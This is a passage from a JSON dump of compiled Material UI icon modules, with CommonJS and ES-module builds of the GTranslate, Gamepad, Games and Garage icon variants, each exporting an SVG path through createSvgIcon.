    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-9.12L10 2H4c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h7l1 3h8c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2M7.17 14.59c-2.25 0-4.09-1.83-4.09-4.09s1.83-4.09 4.09-4.09c1.04 0 1.99.37 2.74 1.07l.07.06-1.23 1.18-.06-.05c-.29-.27-.78-.59-1.52-.59-1.31 0-2.38 1.09-2.38 2.42s1.07 2.42 2.38 2.42c1.37 0 1.96-.87 2.12-1.46H7.08V9.91h3.95l.01.07c.04.21.05.4.05.61 0 2.35-1.61 4-3.92 4m6.03-1.71c.33.6.74 1.18 1.19 1.7l-.54.53zm.77-.76h-.99l-.31-1.04h3.99s-.34 1.31-1.56 2.74c-.52-.62-.89-1.23-1.13-1.7M21 20c0 .55-.45 1-1 1h-7l2-2-.81-2.77.92-.92L17.79 18l.73-.73-2.71-2.68c.9-1.03 1.6-2.25 1.92-3.51H19v-1.04h-3.64V9h-1.04v1.04h-1.96L11.18 6H20c.55 0 1 .45 1 1z\"\n}), 'GTranslateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GTranslateRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-9.12L10 2H4c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h7l1 3h8c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2M7.17 14.59c-2.25 0-4.09-1.83-4.09-4.09s1.83-4.09 4.09-4.09c1.04 0 1.99.37 2.74 1.07l.07.06-1.23 1.18-.06-.05c-.29-.27-.78-.59-1.52-.59-1.31 0-2.38 1.09-2.38 2.42s1.07 2.42 2.38 2.42c1.37 0 1.96-.87 2.12-1.46H7.08V9.91h3.95l.01.07c.04.21.05.4.05.61 0 2.35-1.61 4-3.92 4m6.03-1.71c.33.6.74 1.18 1.19 1.7l-.54.53zm.77-.76h-.99l-.31-1.04h3.99s-.34 1.31-1.56 2.74c-.52-.62-.89-1.23-1.13-1.7M21 20c0 .55-.45 1-1 1h-7l2-2-.81-2.77.92-.92L17.79 18l.73-.73-2.71-2.68c.9-1.03 1.6-2.25 1.92-3.51H19v-1.04h-3.64V9h-1.04v1.04h-1.96L11.18 6H20c.55 0 1 .45 1 1z\"\n}), 'GTranslateRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GTranslateSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-9.12L10 2H4c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h7l1 3h8c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2M7.17 14.59c-2.25 0-4.09-1.83-4.09-4.09s1.83-4.09 4.09-4.09c1.04 0 1.99.37 2.74 1.07l.07.06-1.23 1.18-.06-.05c-.29-.27-.78-.59-1.52-.59-1.31 0-2.38 1.09-2.38 2.42s1.07 2.42 2.38 2.42c1.37 0 1.96-.87 2.12-1.46H7.08V9.91h3.95l.01.07c.04.21.05.4.05.61 0 2.35-1.61 4-3.92 4m6.03-1.71c.33.6.74 1.18 1.19 1.7l-.54.53zm.77-.76h-.99l-.31-1.04h3.99s-.34 1.31-1.56 2.74c-.52-.62-.89-1.23-1.13-1.7M21 20c0 .55-.45 1-1 1h-7l2-2-.81-2.77.92-.92L17.79 18l.73-.73-2.71-2.68c.9-1.03 1.6-2.25 1.92-3.51H19v-1.04h-3.64V9h-1.04v1.04h-1.96L11.18 6H20c.55 0 1 .45 1 1z\"\n}), 'GTranslateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GTranslateSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-9.12L10 2H4c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h7l1 3h8c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2M7.17 14.59c-2.25 0-4.09-1.83-4.09-4.09s1.83-4.09 4.09-4.09c1.04 0 1.99.37 2.74 1.07l.07.06-1.23 1.18-.06-.05c-.29-.27-.78-.59-1.52-.59-1.31 0-2.38 1.09-2.38 2.42s1.07 2.42 2.38 2.42c1.37 0 1.96-.87 2.12-1.46H7.08V9.91h3.95l.01.07c.04.21.05.4.05.61 0 2.35-1.61 4-3.92 4m6.03-1.71c.33.6.74 1.18 1.19 1.7l-.54.53zm.77-.76h-.99l-.31-1.04h3.99s-.34 1.31-1.56 2.74c-.52-.62-.89-1.23-1.13-1.7M21 20c0 .55-.45 1-1 1h-7l2-2-.81-2.77.92-.92L17.79 18l.73-.73-2.71-2.68c.9-1.03 1.6-2.25 1.92-3.51H19v-1.04h-3.64V9h-1.04v1.04h-1.96L11.18 6H20c.55 0 1 .45 1 1z\"\n}), 'GTranslateSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GTranslateTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-9.12L10 2H4c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h7l1 3h8c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2M7.17 14.59c-2.25 0-4.09-1.83-4.09-4.09s1.83-4.09 4.09-4.09c1.04 0 1.99.37 2.74 1.07l.07.06-1.23 1.18-.06-.05c-.29-.27-.78-.59-1.52-.59-1.31 0-2.38 1.09-2.38 2.42s1.07 2.42 2.38 2.42c1.37 0 1.96-.87 2.12-1.46H7.08V9.91h3.95l.01.07c.04.21.05.4.05.61 0 2.35-1.61 4-3.92 4m5.5-3.51h3.99s-.34 1.31-1.56 2.74c-.52-.62-.89-1.23-1.13-1.7h-.99zm1.72 3.5-.54.53-.65-2.23c.33.6.74 1.18 1.19 1.7M21 20c0 .55-.45 1-1 1h-7l2-2-.81-2.77.92-.92L17.79 18l.73-.73-2.71-2.68c.9-1.03 1.6-2.25 1.92-3.51H19v-1.04h-3.64V9h-1.04v1.04h-1.96L11.18 6H20c.55 0 1 .45 1 1z\"\n}), 'GTranslateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GTranslateTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-9.12L10 2H4c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h7l1 3h8c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2M7.17 14.59c-2.25 0-4.09-1.83-4.09-4.09s1.83-4.09 4.09-4.09c1.04 0 1.99.37 2.74 1.07l.07.06-1.23 1.18-.06-.05c-.29-.27-.78-.59-1.52-.59-1.31 0-2.38 1.09-2.38 2.42s1.07 2.42 2.38 2.42c1.37 0 1.96-.87 2.12-1.46H7.08V9.91h3.95l.01.07c.04.21.05.4.05.61 0 2.35-1.61 4-3.92 4m5.5-3.51h3.99s-.34 1.31-1.56 2.74c-.52-.62-.89-1.23-1.13-1.7h-.99zm1.72 3.5-.54.53-.65-2.23c.33.6.74 1.18 1.19 1.7M21 20c0 .55-.45 1-1 1h-7l2-2-.81-2.77.92-.92L17.79 18l.73-.73-2.71-2.68c.9-1.03 1.6-2.25 1.92-3.51H19v-1.04h-3.64V9h-1.04v1.04h-1.96L11.18 6H20c.55 0 1 .45 1 1z\"\n}), 'GTranslateTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Gamepad.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7.5V2H9v5.5l3 3zM7.5 9H2v6h5.5l3-3zM9 16.5V22h6v-5.5l-3-3zM16.5 9l-3 3 3 3H22V9z\"\n}), 'Gamepad');"
  },
  {
    "path": "packages/mui-icons-material/lib/Gamepad.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7.5V2H9v5.5l3 3zM7.5 9H2v6h5.5l3-3zM9 16.5V22h6v-5.5l-3-3zM16.5 9l-3 3 3 3H22V9z\"\n}), 'Gamepad');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamepadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 4v2.67l-1 1-1-1V4zm7 7v2h-2.67l-1-1 1-1zM6.67 11l1 1-1 1H4v-2zM12 16.33l1 1V20h-2v-2.67zM15 2H9v5.5l3 3 3-3zm7 7h-5.5l-3 3 3 3H22zM7.5 9H2v6h5.5l3-3zm4.5 4.5-3 3V22h6v-5.5z\"\n}), 'GamepadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamepadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 4v2.67l-1 1-1-1V4zm7 7v2h-2.67l-1-1 1-1zM6.67 11l1 1-1 1H4v-2zM12 16.33l1 1V20h-2v-2.67zM15 2H9v5.5l3 3 3-3zm7 7h-5.5l-3 3 3 3H22zM7.5 9H2v6h5.5l3-3zm4.5 4.5-3 3V22h6v-5.5z\"\n}), 'GamepadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamepadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7.29V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4.29c0 .13.05.26.15.35l2.5 2.5c.2.2.51.2.71 0l2.5-2.5c.09-.09.14-.21.14-.35M7.29 9H3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4.29c.13 0 .26-.05.35-.15l2.5-2.5c.2-.2.2-.51 0-.71l-2.5-2.5C7.55 9.05 7.43 9 7.29 9M9 16.71V21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4.29c0-.13-.05-.26-.15-.35l-2.5-2.5c-.2-.2-.51-.2-.71 0l-2.5 2.5c-.09.09-.14.21-.14.35m7.35-7.56-2.5 2.5c-.2.2-.2.51 0 .71l2.5 2.5c.09.09.22.15.35.15H21c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-4.29c-.14-.01-.26.04-.36.14\"\n}), 'GamepadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamepadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7.29V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4.29c0 .13.05.26.15.35l2.5 2.5c.2.2.51.2.71 0l2.5-2.5c.09-.09.14-.21.14-.35M7.29 9H3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4.29c.13 0 .26-.05.35-.15l2.5-2.5c.2-.2.2-.51 0-.71l-2.5-2.5C7.55 9.05 7.43 9 7.29 9M9 16.71V21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4.29c0-.13-.05-.26-.15-.35l-2.5-2.5c-.2-.2-.51-.2-.71 0l-2.5 2.5c-.09.09-.14.21-.14.35m7.35-7.56-2.5 2.5c-.2.2-.2.51 0 .71l2.5 2.5c.09.09.22.15.35.15H21c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-4.29c-.14-.01-.26.04-.36.14\"\n}), 'GamepadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamepadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7.5V2H9v5.5l3 3zM7.5 9H2v6h5.5l3-3zM9 16.5V22h6v-5.5l-3-3zM16.5 9l-3 3 3 3H22V9z\"\n}), 'GamepadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamepadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7.5V2H9v5.5l3 3zM7.5 9H2v6h5.5l3-3zM9 16.5V22h6v-5.5l-3-3zM16.5 9l-3 3 3 3H22V9z\"\n}), 'GamepadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamepadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.67 11H4v2h2.67l1-1zM13 6.67V4h-2v2.67l1 1zm-2 10.66V20h2v-2.67l-1-1zM16.33 12l1 1H20v-2h-2.67z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16.5V22h6v-5.5l-3-3zm4 3.5h-2v-2.67l1-1 1 1zm2-12.5V2H9v5.5l3 3zM11 4h2v2.67l-1 1-1-1zM7.5 9H2v6h5.5l3-3zm-.83 4H4v-2h2.67l1 1zm9.83-4-3 3 3 3H22V9zm3.5 4h-2.67l-1-1 1-1H20z\"\n}, \"1\")], 'GamepadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamepadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.67 11H4v2h2.67l1-1zM13 6.67V4h-2v2.67l1 1zm-2 10.66V20h2v-2.67l-1-1zM16.33 12l1 1H20v-2h-2.67z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16.5V22h6v-5.5l-3-3zm4 3.5h-2v-2.67l1-1 1 1zm2-12.5V2H9v5.5l3 3zM11 4h2v2.67l-1 1-1-1zM7.5 9H2v6h5.5l3-3zm-.83 4H4v-2h2.67l1 1zm9.83-4-3 3 3 3H22V9zm3.5 4h-2.67l-1-1 1-1H20z\"\n}, \"1\")], 'GamepadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Games.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7.5V2H9v5.5l3 3zM7.5 9H2v6h5.5l3-3zM9 16.5V22h6v-5.5l-3-3zM16.5 9l-3 3 3 3H22V9z\"\n}), 'Games');"
  },
  {
    "path": "packages/mui-icons-material/lib/Games.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7.5V2H9v5.5l3 3zM7.5 9H2v6h5.5l3-3zM9 16.5V22h6v-5.5l-3-3zM16.5 9l-3 3 3 3H22V9z\"\n}), 'Games');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 4v2.67l-1 1-1-1V4zm7 7v2h-2.67l-1-1 1-1zM6.67 11l1 1-1 1H4v-2zM12 16.33l1 1V20h-2v-2.67zM15 2H9v5.5l3 3 3-3zm7 7h-5.5l-3 3 3 3H22zM7.5 9H2v6h5.5l3-3zm4.5 4.5-3 3V22h6v-5.5z\"\n}), 'GamesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 4v2.67l-1 1-1-1V4zm7 7v2h-2.67l-1-1 1-1zM6.67 11l1 1-1 1H4v-2zM12 16.33l1 1V20h-2v-2.67zM15 2H9v5.5l3 3 3-3zm7 7h-5.5l-3 3 3 3H22zM7.5 9H2v6h5.5l3-3zm4.5 4.5-3 3V22h6v-5.5z\"\n}), 'GamesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7.29V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4.29c0 .13.05.26.15.35l2.5 2.5c.2.2.51.2.71 0l2.5-2.5c.09-.09.14-.21.14-.35M7.29 9H3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4.29c.13 0 .26-.05.35-.15l2.5-2.5c.2-.2.2-.51 0-.71l-2.5-2.5C7.55 9.05 7.43 9 7.29 9M9 16.71V21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4.29c0-.13-.05-.26-.15-.35l-2.5-2.5c-.2-.2-.51-.2-.71 0l-2.5 2.5c-.09.09-.14.21-.14.35m7.35-7.56-2.5 2.5c-.2.2-.2.51 0 .71l2.5 2.5c.09.09.22.15.35.15H21c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-4.29c-.14-.01-.26.04-.36.14\"\n}), 'GamesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7.29V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v4.29c0 .13.05.26.15.35l2.5 2.5c.2.2.51.2.71 0l2.5-2.5c.09-.09.14-.21.14-.35M7.29 9H3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4.29c.13 0 .26-.05.35-.15l2.5-2.5c.2-.2.2-.51 0-.71l-2.5-2.5C7.55 9.05 7.43 9 7.29 9M9 16.71V21c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4.29c0-.13-.05-.26-.15-.35l-2.5-2.5c-.2-.2-.51-.2-.71 0l-2.5 2.5c-.09.09-.14.21-.14.35m7.35-7.56-2.5 2.5c-.2.2-.2.51 0 .71l2.5 2.5c.09.09.22.15.35.15H21c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-4.29c-.14-.01-.26.04-.36.14\"\n}), 'GamesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7.5V2H9v5.5l3 3zM7.5 9H2v6h5.5l3-3zM9 16.5V22h6v-5.5l-3-3zM16.5 9l-3 3 3 3H22V9z\"\n}), 'GamesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7.5V2H9v5.5l3 3zM7.5 9H2v6h5.5l3-3zM9 16.5V22h6v-5.5l-3-3zM16.5 9l-3 3 3 3H22V9z\"\n}), 'GamesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17.33V20h2v-2.67l-1-1zm2-10.66V4h-2v2.67l1 1zM16.33 12l1 1H20v-2h-2.67zM4 11v2h2.67l1-1-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 9v6h5.5l3-3-3-3zm4.67 4H4v-2h2.67l1 1zM22 9h-5.5l-3 3 3 3H22zm-2 4h-2.67l-1-1 1-1H20zm-5 3.5-3-3-3 3V22h6zM13 20h-2v-2.67l1-1 1 1zM9 7.5l3 3 3-3V2H9zM11 4h2v2.67l-1 1-1-1z\"\n}, \"1\")], 'GamesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GamesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17.33V20h2v-2.67l-1-1zm2-10.66V4h-2v2.67l1 1zM16.33 12l1 1H20v-2h-2.67zM4 11v2h2.67l1-1-1-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 9v6h5.5l3-3-3-3zm4.67 4H4v-2h2.67l1 1zM22 9h-5.5l-3 3 3 3H22zm-2 4h-2.67l-1-1 1-1H20zm-5 3.5-3-3-3 3V22h6zM13 20h-2v-2.67l1-1 1 1zM9 7.5l3 3 3-3V2H9zM11 4h2v2.67l-1 1-1-1z\"\n}, \"1\")], 'GamesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Garage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.33 7.5-.66 2h8.66l-.66-2z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 15.69c0 .45-.35.81-.78.81h-.44c-.44 0-.78-.36-.78-.81V16.5H7v1.19c0 .45-.35.81-.78.81h-.44c-.43 0-.78-.36-.78-.81v-6.5c.82-2.47 1.34-4.03 1.56-4.69.05-.16.12-.29.19-.4.02-.02.03-.04.05-.06.38-.53.92-.54.92-.54h8.56s.54.01.92.53c.02.03.03.05.05.07.07.11.14.24.19.4.22.66.74 2.23 1.56 4.69z\"\n}, \"3\")], 'Garage');"
  },
  {
    "path": "packages/mui-icons-material/lib/Garage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.33 7.5-.66 2h8.66l-.66-2z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-1 15.69c0 .45-.35.81-.78.81h-.44c-.44 0-.78-.36-.78-.81V16.5H7v1.19c0 .45-.35.81-.78.81h-.44c-.43 0-.78-.36-.78-.81v-6.5c.82-2.47 1.34-4.03 1.56-4.69.05-.16.12-.29.19-.4.02-.02.03-.04.05-.06.38-.53.92-.54.92-.54h8.56s.54.01.92.53c.02.03.03.05.05.07.07.11.14.24.19.4.22.66.74 2.23 1.56 4.69z\"\n}, \"3\")], 'Garage');"
  },
  {
    "path": "packages/mui-icons-material/lib/GarageOutlined.js",
